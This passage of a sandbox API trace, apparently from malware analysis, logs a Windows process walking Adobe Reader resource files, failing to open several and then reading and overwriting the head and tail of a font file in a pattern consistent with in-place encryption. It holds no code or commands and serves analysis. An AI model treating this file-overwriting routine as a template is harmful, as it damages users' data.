lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.491] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.491] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.492] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.492] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid")) returned 0x20 [0041.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.493] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC", lpFilePart=0x2c0f690*="Adobe-GB1-GBK-EUC") returned 0x48 [0041.493] GetLastError () returned 0x5 [0041.493] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.493] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.493] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.493] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.493] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.493] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.493] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc")) returned 0x20 [0041.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4", lpFilePart=0x2c0f690*="Adobe-Japan1-4") returned 0x45 [0041.494] GetLastError () returned 0x5 [0041.494] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.494] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.494] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.494] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.494] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.495] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.495] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-4")) returned 0x20 [0041.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1", lpFilePart=0x2c0f690*="Adobe-Korea1-1") returned 0x45 [0041.495] GetLastError () returned 0x5 [0041.495] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.496] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.496] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.496] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.496] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.496] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.496] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-1")) returned 0x20 [0041.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C", lpFilePart=0x2c0f690*="B5pc-UCS2C") returned 0x41 [0041.496] GetLastError () returned 0x5 [0041.496] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.496] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.496] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.497] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.497] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.497] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.497] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2c")) returned 0x20 [0041.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V", lpFilePart=0x2c0f690*="ETHK-B5-V") returned 0x40 [0041.498] GetLastError () returned 0x5 [0041.498] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.498] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.498] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.498] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.498] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.498] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.498] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v")) returned 0x20 [0041.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H", lpFilePart=0x2c0f690*="GBK2K-H") returned 0x3e [0041.499] GetLastError () returned 0x5 [0041.499] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.499] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.499] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.499] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.499] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.499] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.499] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h")) returned 0x20 [0041.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H", lpFilePart=0x2c0f690*="H") returned 0x38 [0041.499] GetLastError () returned 0x5 [0041.499] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.499] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.499] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.499] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.500] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.500] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.500] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\h")) returned 0x20 [0041.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V", lpFilePart=0x2c0f690*="HKm471-B5-V") returned 0x42 [0041.500] GetLastError () returned 0x5 [0041.500] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.500] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.500] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.500] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.500] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.501] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.501] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-v")) returned 0x20 [0041.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2", lpFilePart=0x2c0f690*="KSCms-UHC-UCS2") returned 0x45 [0041.501] GetLastError () returned 0x5 [0041.501] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.501] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.501] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.501] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.501] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.501] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.502] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2")) returned 0x20 [0041.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.504] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC", lpFilePart=0x2c0f690*="UCS2-GBpc-EUC") returned 0x44 [0041.504] GetLastError () returned 0x5 [0041.504] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.504] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.504] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.504] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.505] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.505] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.505] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc")) returned 0x20 [0041.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.505] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V", lpFilePart=0x2c0f690*="UniGB-UTF16-V") returned 0x44 [0041.505] GetLastError () returned 0x5 [0041.505] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.505] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.505] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.505] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.505] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.506] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.506] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-v")) returned 0x20 [0041.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V", nBufferLength=0x104, lpBuffer=0x2c0f694, lpFilePart=0x2c0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V", lpFilePart=0x2c0f690*="UniKS-UCS2-V") returned 0x43 [0041.506] GetLastError () returned 0x5 [0041.506] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2c0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˀ폈Hˀ퐔HˀLˀꞰǦ\x01") returned 0x13 [0041.506] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.506] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2c0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.506] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2c0f894) [0041.506] RtlUnwind (TargetFrame=0x2c0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.506] RtlUnwind (TargetFrame=0x2c0f920, TargetIp=0x407184, ExceptionRecord=0x2c0f378, ReturnValue=0x0) [0041.506] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-v")) returned 0x20 [0041.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-italic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x11a6c [0041.508] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0041.508] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.508] ReleaseMutex (hMutex=0x128) returned 1 [0041.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x1e78b04, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0041.508] ReadFile (in: hFile=0x198, lpBuffer=0x2809d28, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.510] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x10a6c [0041.510] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x10a6c [0041.511] WriteFile (in: hFile=0x198, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.511] WriteFile (in: hFile=0x198, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.511] CloseHandle (hObject=0x198) returned 1 [0041.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files 